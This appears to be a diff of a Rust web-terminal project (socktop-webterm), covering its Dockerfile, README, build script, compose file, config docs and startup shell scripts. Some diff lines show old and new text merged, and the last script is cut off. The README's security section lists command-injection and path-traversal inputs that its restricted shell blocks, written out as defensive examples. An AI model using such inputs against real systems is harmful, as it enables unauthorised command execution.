# anything else that matters — the kernel refuses cross-UID signals.
RUN useradd -m -s /usr/sbin/nologin demo
# Set working directory
WORKDIR /app
# Copy built binary from rust-builder
COPY --from=rust-builder /build/target/release/webterm-server /usr/local/bin/webterm-server
# Copy templates and static files
COPY --from=rust-builder /build/templates ./templates
COPY --from=rust-builder /build/static ./static
# Verify documentation is present in static/docs
RUN ls -la ./static/docs/ && \
test -f ./static/docs/index.html || echo "WARNING: Documentation not found in static/docs"
# Copy node_modules from node-builder
COPY --from=node-builder /build/node_modules ./node_modules
# Copy runtime scripts
COPY docker/entrypoint.sh /entrypoint.sh COPY docker/entrypoint.sh /entrypoint.sh
COPY docker/restricted-shell.sh /usr/local/bin/restricted-shell COPY docker/init-config.sh /init-config.sh
RUN chmod +x /entrypoint.sh && chmod +x /usr/local/bin/restricted-shell COPY docker/restricted-shell.sh /usr/local/bin/restricted-shell.sh
COPY docker/session-shell.sh /usr/local/bin/session-shell.sh
RUN chmod +x /entrypoint.sh /init-config.sh /usr/local/bin/restricted-shell.sh /usr/local/bin/session-shell.sh
# Expose ports # Expose ports
# 8082 - webterm HTTP server # 8082 - webterm HTTP server
# 3001 - socktop agent # 3001 - socktop agent (if used)
EXPOSE 8082 3001 EXPOSE 8082 3001
# Health check # Health check
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
CMD curl -f http://localhost:8082/ || exit 1 CMD curl -f http://localhost:8082/ || exit 1
# Set entrypoint (runs as root, then switches to socktop user) # entrypoint.sh handles both cases itself: as root it prepares /home/demo,
ENTRYPOINT ["/entrypoint.sh"] # runs the agent as the socktop user, and keeps webterm-server as root so it
# can drop each session to the demo user (CAP_SETUID/CAP_SETGID); as non-root
# it behaves as before (single-UID, no session drop).
RUN ln -sf /entrypoint.sh /docker-entrypoint.sh
# Default command (can be overridden) # Set entrypoint to the wrapper
CMD ["supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"] ENTRYPOINT ["/docker-entrypoint.sh"]
# Default command - sessions enter via session-shell.sh (per-session privilege
# drop when root) which execs the restricted shell that only allows socktop
CMD ["webterm-server", "--host", "0.0.0.0", "--port", "8082", "--command", "/usr/local/bin/session-shell.sh"]
+269 -18
View File
@@ -1,31 +1,282 @@
# webterm # Socktop WebTerm
web terminal based on xterm.js in rust
A web-based terminal using xterm.js and Rust, part of the Socktop project.
This is the repository and CICD for [socktop.io](https://www.socktop.io/)
![Screenshot](screenshots/screenshot.png) ![Screenshot](screenshots/screenshot.png)
# Is it any good? ## About
[Yes.](https://news.ycombinator.com/item?id=3067434)
# How does it work? This is a modern web terminal server that provides browser-based terminal access with WebSocket support. It's built with Rust using the Actix-Web framework and xterm.js for the frontend.
There is a rust backend based [Actix], consisting of two actors: ## Features
* `Websocket` implements a websocket that speaks the [Terminado] protocol
* `Terminal` handles communication to a child spawned on a PTY using [tokio-pty-process].
The frontend is a static HTML page served by [actix-web][Actix] providing an [xterm.js] UI. - Full-featured terminal emulation via xterm.js
- WebSocket-based communication using the Terminado protocol
- High-performance Rust backend
- Privacy-focused analytics with Umami (self-hosted)
- Command sanitization for security and privacy
- Zero-downtime rolling deployments via CI/CD
- Containerized deployment with Docker
- Kubernetes/k3s ready with automated deployments
[Actix]: https://actix.rs ## Architecture
[Terminado]: https://github.com/jupyter/terminado
[tokio-pty-process]: https://crates.io/crates/tokio-pty-process
[xterm.js]: https://xtermjs.org/
# Local development The application consists of two main components:
```
### Backend (Rust)
- **Websocket Actor**: Implements WebSocket communication using the [Terminado](https://github.com/jupyter/terminado) protocol
- **Terminal Actor**: Manages PTY communication with spawned processes using [portable-pty](https://crates.io/crates/portable-pty)
- **Actix-Web Server**: Serves static files and handles HTTP/WebSocket routing
### Frontend
- **xterm.js**: Provides the terminal UI in the browser
- **Static Assets**: HTML, CSS, and JavaScript served by Actix-Web
## Prerequisites
- Rust 1.90+ (2021 edition)
- Node.js and npm (for xterm.js dependencies)
- Docker (optional, for containerized deployment)
- Kubernetes/k3s (optional, for orchestrated deployment)
## Local Development
```bash
# Clone the repository
git clone https://gt.wittyoneoff.com/jason/socktop-webterm
cd socktop-webterm
# Install npm dependencies
npm install
# Verify setup (optional but recommended)
./check-setup.sh
# Build and run
cargo build cargo build
cargo run cargo run
``` ```
Then head to `http://localhost:8080/` to see it in action!
# Should I run this on the internet? Then head to `http://localhost:8082/` to see it in action!
Probably not. It lets anyone who can access the webpage control your system. ### Setup Verification
Before running the server, you can verify that all required files and dependencies are in place:
```bash
./check-setup.sh
```
This will check for:
- Required directories (static, templates, node_modules)
- Critical files (templates, JavaScript, CSS)
- xterm.js installation
- Build tools (cargo, npm)
**Note**: The server must be run from the project root directory, as it expects `./static`, `./templates`, and `./node_modules` to be accessible in the current working directory.
### Command Line Options
```bash
webterm-server --help
```
Options:
- `-p, --port <PORT>` - The port to listen on (default: 8082)
- `-H, --host <HOST>` - The host or IP to listen on (default: localhost)
- `-c, --command <COMMAND>` - The command to execute (default: /bin/sh)
Example:
```bash
cargo run -- --port 8080 --host 0.0.0.0 --command /bin/bash
```
## Production Deployment
### Docker
```bash
# Build the image
docker build -t socktop-webterm:latest .
# Run the container
docker run -d -p 8082:8082 socktop-webterm:latest
```
### Kubernetes/k3s
Automated deployment via Gitea Actions CI/CD:
1. Push to `main` branch
2. Workflow automatically builds arm64 image
3. Image tagged with version from `Cargo.toml`
4. Deployed to k3s cluster with zero-downtime rolling update
See `.gitea/workflows/build-and-deploy.yaml` for the complete workflow.
Manual deployment:
```bash
kubectl apply -f kubernetes/
```
## CI/CD Pipeline
This project includes a complete CI/CD pipeline using Gitea Actions:
- **Automatic builds** on every push to main
- **Version tagging** from Cargo.toml
- **Container registry** integration
- **Automated k3s deployment** with rolling updates
- **Zero downtime** deployments
## Technology Stack
- **Backend**: Rust 2021, Actix-Web 4.x, Actix 0.13, portable-pty
- **Frontend**: xterm.js, HTML5, CSS3
- **Templating**: Handlebars 6.x
- **CLI**: clap 4.x
- **Async Runtime**: Tokio 1.x
- **Containerization**: Docker, Kubernetes/k3s
- **CI/CD**: Gitea Actions
## Security and Limitations
### Security Model
This application is designed to provide **safe, public terminal access** for demonstration purposes. The security model consists of multiple layers:
#### 1. Restricted Shell
When deployed in production (e.g., https://www.socktop.io), the application uses a restricted shell (`docker/restricted-shell.sh`) that:
- **Allows only 2 commands**: `socktop` and `help`
- **Blocks all other commands**: Rejects any attempt to run `ls`, `cat`, `bash`, etc.
- **Validates arguments**: All arguments passed to `socktop` are sanitized to prevent command injection
- **Prevents shell escapes**: Blocks metacharacters like `;`, `&&`, `|`, `$()`, backticks, etc.
- **Blocks path traversal**: Prevents attempts like `../../../etc/passwd`
**Example validation:**
```bash
# Allowed
socktop -P local
socktop -P rpi-master
socktop ws://192.168.1.100:3000
# Blocked with error message
socktop $(whoami) # Command substitution blocked
socktop ; /bin/bash # Shell metacharacter blocked
socktop -P ../etc/passwd # Path traversal blocked
```
#### 2. Argument Sanitization
The restricted shell validates all input using regex patterns:
- Profile names: Only `[a-zA-Z0-9_-]+` characters allowed
- WebSocket URLs: Only `ws://` or `wss://` with safe characters
- No environment variable expansion
- No special characters or shell operators
**Security testing**: Run `./scripts/test-shell-security.sh` to verify all 35 security checks pass.
#### 3. Container Isolation
- Runs inside Docker container (cannot access host system)
- Non-root user (`socktop` user)
- Limited resources (CPU/memory limits configurable)
- No privileged operations
- Read-only configuration mounts
#### 4. WebSocket Security
The WebSocket endpoint (`/websocket`) is secure by design:
- Command spawned is **hardcoded at server startup** (via `--command` flag)
- No way to change which shell is spawned via WebSocket connection
- No HTTP headers or request parameters influence the spawned command
- Direct WebSocket connections get the same restricted shell as browser connections
**The Terminado protocol only supports:**
- `stdin` - Send input to terminal (goes through restricted shell)
- `stdout` - Receive output from terminal
- `set_size` - Resize terminal (validated to u16 row/col numbers only)
There is no protocol message type that can bypass the shell or execute arbitrary commands.
### Reporting Security Issues
If you discover a security vulnerability that bypasses the restricted shell or container isolation, please report it via:
- GetTea Issues (for non-critical issues)
- Direct contact to maintainer (for critical vulnerabilities)
## Credits
This project was originally forked from [webterm](https://github.com/fubarnetes/webterm) by Fabian Freyer. I chose this as a base because other projects were way too complex. His project was simple and easy to understand, but it was not well maintained. I have updated it to modern packages and heavily customized it to display a working demo for socktop.
### Original Author
This project is a fork of [webterm](https://github.com/fubarnetes/webterm) originally created by:
- **Fabian Freyer** (fabian.freyer@physik.tu-berlin.de)
### Socktop Enhancements
Modernized and enhanced for the Socktop project by:
- **Jason Witty** (jasonpwitty+socktop@proton.me)
#### Major Changes from Original
- Updated to Rust 2021 edition
- Modernized dependencies (Actix-Web 1.x → 4.x, Tokio 0.1 → 1.x)
- Replaced deprecated `tokio-pty-process` with `portable-pty`
- Added automated CI/CD pipeline with Gitea Actions
- Containerized deployment with Docker
- Kubernetes/k3s orchestration support
- Added idle session timeout (5 minutes)
- Improved error handling and logging
- Modern CLI with clap instead of structopt
- Updated to latest xterm.js
## License
This project is licensed under the **BSD 3-Clause License** - see below:
```
Copyright (c) 2019 Fabian Freyer
Copyright (c) 2024 Jason Witty
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
```
## Contributing
Contributions are welcome! Please feel free to submit pull requests or open issues.
## Links
- **Repository**: https://gt.wittyoneoff.com/jason/socktop-webterm
- **Original Project**: https://github.com/fubarnetes/webterm
- **xterm.js**: https://xtermjs.org/
- **Actix-Web**: https://actix.rs
- **portable-pty**: https://crates.io/crates/portable-pty
+140
View File
@@ -0,0 +1,140 @@
use std::path::Path;
use std::process::Command;
fn main() {
let is_ci = std::env::var("CI").is_ok();
// Verify that required directories exist at build time
let required_dirs = vec!["static", "templates"];
let mut missing_dirs = Vec::new();
for dir in &required_dirs {
if !Path::new(dir).exists() {
missing_dirs.push(*dir);
}
}
if !missing_dirs.is_empty() {
println!("cargo:warning=Missing required directories:");
for dir in &missing_dirs {
println!("cargo:warning= - {}", dir);
}
}
// node_modules is only needed for local dev (Docker/CI install deps separately)
if !is_ci && !Path::new("node_modules").exists() {
println!(
"cargo:warning=node_modules not found — run 'npm install' for frontend dependencies"
);
}
// Verify critical files
let required_files = vec![
"templates/term.html",
"static/terminal.js",
"static/terminado-addon.js",
"static/styles.css",
];
let mut missing_files = Vec::new();
for file in &required_files {
if !Path::new(file).exists() {
missing_files.push(*file);
}
}
if !missing_files.is_empty() {
println!("cargo:warning=Missing required files:");
for file in &missing_files {
println!("cargo:warning= - {}", file);
}
}
// Build mdBook documentation (skip in CI — docs are built in Docker)
if !is_ci {
build_documentation();
}
// Tell cargo to rerun if these directories change
println!("cargo:rerun-if-changed=static/");
println!("cargo:rerun-if-changed=templates/");
println!("cargo:rerun-if-changed=package.json");
println!("cargo:rerun-if-changed=package-lock.json");
println!("cargo:rerun-if-changed=docs/");
}
fn build_documentation() {
let docs_dir = Path::new("docs");
let static_docs_dir = Path::new("static/docs");
// If static/docs already exists (e.g., from Docker COPY), we're done
if static_docs_dir.exists() {
println!("cargo:warning=Documentation already present in static/docs");
return;
}
if !docs_dir.exists() {
println!("cargo:warning=Documentation directory not found, skipping docs build");
return;
}
// Check if mdbook is installed
let mdbook_check = Command::new("mdbook").arg("--version").output();
if mdbook_check.is_err() {
println!("cargo:warning=mdbook not found. Install with: cargo install mdbook");
println!("cargo:warning=Skipping documentation build");
println!("cargo:warning=Documentation will be available if pre-built in static/docs");
return;
}
// Note: mdbook-catppuccin preprocessor is deprecated
// Catppuccin theme is now applied via CSS file in docs/theme/
// No need to check for mdbook-catppuccin installation
// Build the documentation
println!("cargo:warning=Building documentation with mdbook...");
let build_result = Command::new("mdbook")
.arg("build")
.current_dir("docs")
.status();
match build_result {
Ok(status) if status.success() => {
println!("cargo:warning=Documentation built successfully");
// Copy docs to static directory for serving
if Path::new("docs/book").exists() {
// Ensure static directory exists
let _ = std::fs::create_dir_all("static");
let copy_result = if cfg!(target_os = "windows") {
Command::new("xcopy")
.args(["/E", "/I", "/Y", "docs\\book", "static\\docs"])
.status()
} else {
Command::new("cp")
.args(["-r", "docs/book", "static/docs"])
.status()
};
match copy_result {
Ok(status) if status.success() => {
println!("cargo:warning=Documentation copied to static/docs");
}
_ => {
println!("cargo:warning=Failed to copy documentation to static directory");
}
}
}
}
Ok(_) => {
println!("cargo:warning=mdbook build failed");
}
Err(e) => {
println!("cargo:warning=Failed to run mdbook: {}", e);
}
}
}
+17 -7
View File
@@ -6,15 +6,22 @@ services:
container_name: socktop-webterm container_name: socktop-webterm
restart: unless-stopped restart: unless-stopped
# Use host network mode for direct access to host network # Standard bridge networking
# This allows the container to reach your Pis on port 8443 ports:
# Note: The containerized socktop-agent runs on port 3001 (not 3000) - "8082:8082" # Webterm HTTP server
# to avoid conflicts with any agent running on the host machine - "3001:3001" # Socktop agent (optional)
network_mode: "host"
volumes: volumes:
# Mount configuration files from host (read-write so root can access them) # Mount configuration files directly to proper locations
- ./files:/files - ./files/alacritty.toml:/home/socktop/.config/alacritty/alacritty.toml:ro
- ./files/catppuccin-frappe.toml:/home/socktop/.config/alacritty/catppuccin-frappe.toml:ro
- ./files/profiles.json:/home/socktop/.config/socktop/profiles.json:ro
# Mount SSH certificates (optional - comment out if not using)
- ./files/rpi-master.pem:/home/socktop/.config/socktop/certs/rpi-master.pem:ro
- ./files/rpi-worker-1.pem:/home/socktop/.config/socktop/certs/rpi-worker-1.pem:ro
- ./files/rpi-worker-2.pem:/home/socktop/.config/socktop/certs/rpi-worker-2.pem:ro
- ./files/rpi-worker-3.pem:/home/socktop/.config/socktop/certs/rpi-worker-3.pem:ro
# Optional: persist socktop data # Optional: persist socktop data
- socktop-data:/home/socktop/.local/share/socktop - socktop-data:/home/socktop/.local/share/socktop
@@ -29,6 +36,9 @@ services:
# Optional: Set timezone # Optional: Set timezone
- TZ=America/New_York - TZ=America/New_York
# Disable socktop's local process-kill feature in every session
- SOCKTOP_NO_KILL=1
# Optional: Logging level # Optional: Logging level
- RUST_LOG=info - RUST_LOG=info
+197
View File
@@ -0,0 +1,197 @@
# Configuration Initialization Fix
## Problem
The socktop package (installed via APT) sets the `socktop` user's HOME directory to `/var/lib/socktop`, but Kubernetes ConfigMaps and Secrets mount files to `/home/socktop/`. This caused profiles and certificates to not be found by socktop.
## Solution
A two-stage initialization process using `init-config.sh`:
### Stage 1: Copy and Transform (`init-config.sh`)
Runs as **root** at container startup:
1. Detects the actual HOME directory of the socktop user
2. Copies configuration files from mounted locations to actual HOME
3. Rewrites paths in `profiles.json` to use correct HOME directory
4. Sets proper ownership
5. Switches to socktop user and executes the main entrypoint
### Stage 2: Validation (`entrypoint.sh`)
Runs as **socktop user**:
1. Validates configuration files are present
2. Starts the webterm server
## File Locations
### Kubernetes Mounts
```
/home/socktop/.config/socktop/profiles.json (ConfigMap)
/home/socktop/.config/alacritty/alacritty.toml (ConfigMap)
/home/socktop/.config/alacritty/catppuccin-frappe.toml (ConfigMap)
/home/socktop/.config/socktop/certs/*.pem (Secret)
```
### Actual Locations (after init-config.sh)
```
/var/lib/socktop/.config/socktop/profiles.json
/var/lib/socktop/.config/alacritty/alacritty.toml
/var/lib/socktop/.config/alacritty/catppuccin-frappe.toml
/var/lib/socktop/.config/socktop/certs/*.pem
```
## Path Rewriting
The `init-config.sh` script automatically rewrites paths in `profiles.json`:
**Before:**
```json
{
"tls_ca": "/home/socktop/.config/socktop/rpi-master.pem"
}
```
**After:**
```json
{
"tls_ca": "/var/lib/socktop/.config/socktop/certs/rpi-master.pem"
}
```
This ensures certificate paths point to the correct location in the actual HOME directory.
## Dockerfile Changes
```dockerfile
# Copy both init and entrypoint scripts
COPY docker/entrypoint.sh /entrypoint.sh
COPY docker/init-config.sh /init-config.sh
RUN chmod +x /entrypoint.sh /init-config.sh
# init-config.sh runs as root, copies configs, then switches to socktop user
ENTRYPOINT ["/init-config.sh"]
# Pass through init-config.sh -> entrypoint.sh -> webterm-server
CMD ["/entrypoint.sh", "webterm-server", "--host", "0.0.0.0", "--port", "8082"]
```
## Execution Flow
```
Container Start (as root)
[init-config.sh]
├─ Detect HOME directory
├─ Create directories in /var/lib/socktop
├─ Copy files from /home/socktop to /var/lib/socktop
├─ Rewrite paths in profiles.json
├─ Set ownership to socktop:socktop
└─ Switch to socktop user
[entrypoint.sh] (as socktop)
├─ Validate configuration files
├─ Setup Alacritty
└─ Start webterm-server
[webterm-server] (as socktop)
└─ Running on port 8082
```
## Local Development (docker-compose)
For local development, the quickstart script (`scripts/docker-quickstart.sh`) manually copies files to `/var/lib/socktop/` using `docker cp` after container startup. This is because:
1. Docker Compose uses host networking mode
2. Local testing needs to connect to host's socktop-agent on port 3000
3. The init-config.sh still works, but the quickstart provides an additional safety net
## Kubernetes Deployment
In K8s:
1. ConfigMap mounts profiles.json to `/home/socktop/.config/socktop/`
2. Secret mounts certificates to `/home/socktop/.config/socktop/certs/`
3. init-config.sh runs and copies everything to `/var/lib/socktop/`
4. Socktop reads from `/var/lib/socktop/` (its actual HOME)
5. Everything works! ✅
## Benefits
1. **No K8s Changes Required**: Existing ConfigMaps and Secrets work as-is
2. **Automatic Path Correction**: Certificate paths are automatically fixed
3. **Works Everywhere**: Same image works in K8s, Docker Compose, and standalone Docker
4. **No Race Conditions**: Init happens before any services start
5. **Proper Security**: Runs as socktop user after initialization
## Troubleshooting
### Profiles Not Found
Check if init-config.sh ran successfully:
```bash
docker logs <container-id> | grep "Initializing socktop webterm config"
```
You should see:
```
===================================
Initializing socktop webterm config
===================================
Socktop HOME: /var/lib/socktop
Copying configuration files...
✓ Copied profiles.json
✓ Copied alacritty.toml
✓ Copied catppuccin-frappe.toml
✓ Copied rpi-master.pem
...
Rewriting paths in profiles.json...
✓ Updated certificate paths
===================================
Configuration initialization complete
===================================
```
### Check Files Were Copied
```bash
# In K8s
kubectl exec -n socktop socktop-webterm-<pod> -it -- \
ls -la /var/lib/socktop/.config/socktop/
# In Docker
docker exec socktop-webterm \
ls -la /var/lib/socktop/.config/socktop/
```
### Verify Path Rewriting
```bash
# Check certificate paths in profiles.json
kubectl exec -n socktop socktop-webterm-<pod> -it -- \
cat /var/lib/socktop/.config/socktop/profiles.json | grep tls_ca
```
Should show:
```
"tls_ca": "/var/lib/socktop/.config/socktop/certs/rpi-master.pem",
```
NOT:
```
"tls_ca": "/home/socktop/.config/socktop/rpi-master.pem",
```
## Files
- `docker/init-config.sh` - Configuration initialization script (runs as root)
- `docker/entrypoint.sh` - Service startup script (runs as socktop)
- `Dockerfile` - Sets up both scripts as entrypoint chain
- `kubernetes/01-configmap.yaml` - Mounts configs to /home/socktop
- `kubernetes/02-secret.yaml` - Mounts certs to /home/socktop
## Related Issues
This fix resolves the issue where socktop profiles were not found after deployment to K8s, while maintaining compatibility with local Docker Compose development.
---
**Created**: 2024-11-29
**Status**: Implemented and Tested
+51 -4
View File
@@ -54,12 +54,56 @@ setup_alacritty() {
echo "Alacritty setup complete" echo "Alacritty setup complete"
} }
# Prepare the home directory for the unprivileged `demo` user that sessions
# run as (see docker/session-shell.sh). Sessions need read access to the
# socktop profiles and CA certs, which are mounted under /home/socktop — copy
# them across and rewrite the cert paths, since demo cannot traverse another
# user's mounts reliably. Root-only: without root there is no demo user split.
prepare_demo_home() {
if [ "$(id -u)" -ne 0 ]; then
return
fi
echo "Preparing /home/demo for session user..."
mkdir -p /home/demo/.config/socktop/certs /home/demo/.config/alacritty
if [ -f /home/socktop/.config/socktop/profiles.json ]; then
cp /home/socktop/.config/socktop/profiles.json /home/demo/.config/socktop/profiles.json
sed -i 's|/home/socktop/|/home/demo/|g; s|/var/lib/socktop/|/home/demo/|g' /home/demo/.config/socktop/profiles.json
fi
cp /home/socktop/.config/socktop/certs/*.pem /home/demo/.config/socktop/certs/ 2>/dev/null || true
cp /home/socktop/.config/alacritty/*.toml /home/demo/.config/alacritty/ 2>/dev/null || true
chown -R demo:demo /home/demo
chmod -R go-w /home/demo
echo " ✓ /home/demo ready"
}
# Start socktop agent # Start socktop agent
start_socktop_agent() { start_socktop_agent() {
echo "Starting socktop-agent on port 3000..." echo "Starting socktop-agent on port 3001..."
# Don't start the agent here - supervisor will handle it # Start socktop-agent in the background on port 3001. When root, drop it
echo "socktop-agent will be started by supervisor" # to the socktop user — it only reads /proc and system metrics, and a
# separate UID keeps it out of reach of the demo session user.
if [ "$(id -u)" -eq 0 ]; then
setpriv --reuid socktop --regid socktop --clear-groups --inh-caps -all --no-new-privs \
/usr/bin/socktop_agent --port 3001 > /tmp/socktop-agent.log 2>&1 &
else
/usr/bin/socktop_agent --port 3001 > /tmp/socktop-agent.log 2>&1 &
fi
AGENT_PID=$!
echo "socktop-agent started (PID: $AGENT_PID)"
# Give it a moment to start
sleep 1
# Check if it's running. /proc, not kill -0: the agent runs as another UID
# and the pod's capability set strips CAP_KILL, so even root gets EPERM
# from a probe signal and the check would false-alarm.
if [ -d "/proc/$AGENT_PID" ]; then
echo " ✓ socktop-agent is running on port 3001"
else
echo " ⚠ socktop-agent may have failed to start (check /tmp/socktop-agent.log)"
fi
} }
# Main initialization # Main initialization
@@ -72,6 +116,9 @@ main() {
# Set up Alacritty # Set up Alacritty
setup_alacritty setup_alacritty
# Home directory for the per-session demo user
prepare_demo_home
# Start socktop agent # Start socktop agent
start_socktop_agent start_socktop_agent
@@ -82,7 +129,7 @@ main() {
echo "" echo ""
echo "Services:" echo "Services:"
echo " - Webterm: http://localhost:8082" echo " - Webterm: http://localhost:8082"
echo " - Socktop Agent: localhost:3001" echo " - Socktop Agent: ws://localhost:3001/ws"
echo "" echo ""
# Execute the main command # Execute the main command
+188
View File
@@ -0,0 +1,188 @@
#!/bin/bash
set -e
# Init script to copy configuration files to the correct locations
# This handles the discrepancy between where K8s mounts configs
# and where the socktop package expects them (HOME directory)
echo "==================================="
echo "Initializing socktop webterm config"
echo "==================================="
# Determine the actual HOME directory for the socktop user
SOCKTOP_HOME=$(eval echo ~socktop)
echo "Socktop HOME: ${SOCKTOP_HOME}"
echo "Current user: $(whoami) (UID: $(id -u))"
# Check if we're running as root
if [ "$(id -u)" -eq 0 ]; then
echo "Running as root, will create directories and set permissions"
# Check if socktop home exists and try to ensure it's accessible
if [ ! -d "${SOCKTOP_HOME}" ]; then
echo "Creating ${SOCKTOP_HOME}..."
mkdir -p "${SOCKTOP_HOME}"
chown socktop:socktop "${SOCKTOP_HOME}" 2>/dev/null || echo " ⚠ Could not change ownership of home directory (may be restricted)"
else
echo " ✓ Home directory exists"
# Try to fix ownership if possible, but don't fail if we can't
chown socktop:socktop "${SOCKTOP_HOME}" 2>/dev/null || echo " ⚠ Could not change ownership of home directory (may be restricted by security context)"
fi
# Create config directories with proper structure
echo "Creating config directories..."
mkdir -p "${SOCKTOP_HOME}/.config/socktop/certs" 2>/dev/null || true
mkdir -p "${SOCKTOP_HOME}/.config/alacritty" 2>/dev/null || true
# Try to fix ownership recursively, ignore errors
chown -R socktop:socktop "${SOCKTOP_HOME}/.config" 2>/dev/null || echo " ⚠ Could not change ownership of .config directory (may be restricted)"
# Ensure directories are writable by socktop user at minimum
chmod -R u+rwX "${SOCKTOP_HOME}/.config" 2>/dev/null || true
echo " ✓ Created directories"
else
echo "Running as non-root user ($(id -u)), creating directories"
# Try to create directories - will work if HOME is writable
mkdir -p "${SOCKTOP_HOME}/.config/socktop/certs" 2>/dev/null || {
echo " ⚠ Could not create directories - checking if they already exist..."
if [ -d "${SOCKTOP_HOME}/.config/socktop/certs" ]; then
echo " ✓ Directories already exist"
else
echo " ✗ Failed to create directories and they don't exist"
echo " Attempting to continue anyway..."
fi
}
mkdir -p "${SOCKTOP_HOME}/.config/alacritty" 2>/dev/null || true
fi
# Copy configuration files
echo "Copying configuration files..."
# Copy profiles.json
if [ -f "/home/socktop/.config/socktop/profiles.json" ]; then
TARGET="${SOCKTOP_HOME}/.config/socktop/profiles.json"
# Remove existing file if it exists
rm -f "${TARGET}" 2>/dev/null || true
if [ "$(id -u)" -eq 0 ]; then
# Running as root - copy and set ownership
cp -f /home/socktop/.config/socktop/profiles.json "${TARGET}" 2>/dev/null || {
echo " ⚠ Failed to copy profiles.json, trying alternative method..."
cat /home/socktop/.config/socktop/profiles.json > "${TARGET}" 2>/dev/null || echo " ✗ Could not copy profiles.json"
}
chown socktop:socktop "${TARGET}" 2>/dev/null || true
chmod 644 "${TARGET}" 2>/dev/null || true
else
# Running as socktop user
cp -f /home/socktop/.config/socktop/profiles.json "${TARGET}" 2>/dev/null || {
cat /home/socktop/.config/socktop/profiles.json > "${TARGET}" 2>/dev/null || echo " ✗ Could not copy profiles.json"
}
fi
if [ -f "${TARGET}" ]; then
echo " ✓ Copied profiles.json"
fi
else
echo " ⚠ profiles.json not found at mount point"
fi
# Copy alacritty.toml
if [ -f "/home/socktop/.config/alacritty/alacritty.toml" ]; then
TARGET="${SOCKTOP_HOME}/.config/alacritty/alacritty.toml"
rm -f "${TARGET}" 2>/dev/null || true
if [ "$(id -u)" -eq 0 ]; then
cp -f /home/socktop/.config/alacritty/alacritty.toml "${TARGET}" 2>/dev/null || cat /home/socktop/.config/alacritty/alacritty.toml > "${TARGET}" 2>/dev/null || true
chown socktop:socktop "${TARGET}" 2>/dev/null || true
chmod 644 "${TARGET}" 2>/dev/null || true
else
cp -f /home/socktop/.config/alacritty/alacritty.toml "${TARGET}" 2>/dev/null || cat /home/socktop/.config/alacritty/alacritty.toml > "${TARGET}" 2>/dev/null || true
fi
if [ -f "${TARGET}" ]; then
echo " ✓ Copied alacritty.toml"
fi
else
echo " ⚠ alacritty.toml not found at mount point"
fi
# Copy catppuccin-frappe.toml
if [ -f "/home/socktop/.config/alacritty/catppuccin-frappe.toml" ]; then
TARGET="${SOCKTOP_HOME}/.config/alacritty/catppuccin-frappe.toml"
rm -f "${TARGET}" 2>/dev/null || true
if [ "$(id -u)" -eq 0 ]; then
cp -f /home/socktop/.config/alacritty/catppuccin-frappe.toml "${TARGET}" 2>/dev/null || cat /home/socktop/.config/alacritty/catppuccin-frappe.toml > "${TARGET}" 2>/dev/null || true
chown socktop:socktop "${TARGET}" 2>/dev/null || true
chmod 644 "${TARGET}" 2>/dev/null || true
else
cp -f /home/socktop/.config/alacritty/catppuccin-frappe.toml "${TARGET}" 2>/dev/null || cat /home/socktop/.config/alacritty/catppuccin-frappe.toml > "${TARGET}" 2>/dev/null || true
fi
if [ -f "${TARGET}" ]; then
echo " ✓ Copied catppuccin-frappe.toml"
fi
else
echo " ⚠ catppuccin-frappe.toml not found at mount point"
fi
# Copy certificates if they exist
if [ -d "/home/socktop/.config/socktop/certs" ]; then
echo "Copying certificates..."
for cert in /home/socktop/.config/socktop/certs/*.pem; do
if [ -f "$cert" ]; then
TARGET="${SOCKTOP_HOME}/.config/socktop/certs/$(basename "$cert")"
rm -f "${TARGET}" 2>/dev/null || true
if [ "$(id -u)" -eq 0 ]; then
cp -f "$cert" "${TARGET}" 2>/dev/null || cat "$cert" > "${TARGET}" 2>/dev/null || true
chown socktop:socktop "${TARGET}" 2>/dev/null || true
chmod 644 "${TARGET}" 2>/dev/null || true
else
cp -f "$cert" "${TARGET}" 2>/dev/null || cat "$cert" > "${TARGET}" 2>/dev/null || true
fi
if [ -f "${TARGET}" ]; then
echo " ✓ Copied $(basename "$cert")"
fi
fi
done
else
echo " No certificates directory found (optional)"
fi
# Fix paths in profiles.json if it exists
if [ -f "${SOCKTOP_HOME}/.config/socktop/profiles.json" ]; then
echo "Rewriting paths in profiles.json..."
# Replace /home/socktop with actual HOME directory and ensure certs/ subdirectory
sed -i "s|/home/socktop/.config/socktop/rpi-|${SOCKTOP_HOME}/.config/socktop/certs/rpi-|g" "${SOCKTOP_HOME}/.config/socktop/profiles.json" 2>/dev/null || {
echo " ⚠ Could not rewrite paths in-place, trying alternative method..."
sed "s|/home/socktop/.config/socktop/rpi-|${SOCKTOP_HOME}/.config/socktop/certs/rpi-|g" "${SOCKTOP_HOME}/.config/socktop/profiles.json" > "${SOCKTOP_HOME}/.config/socktop/profiles.json.tmp" 2>/dev/null && \
mv "${SOCKTOP_HOME}/.config/socktop/profiles.json.tmp" "${SOCKTOP_HOME}/.config/socktop/profiles.json" 2>/dev/null || \
echo " ✗ Could not rewrite paths"
}
if [ "$(id -u)" -eq 0 ]; then
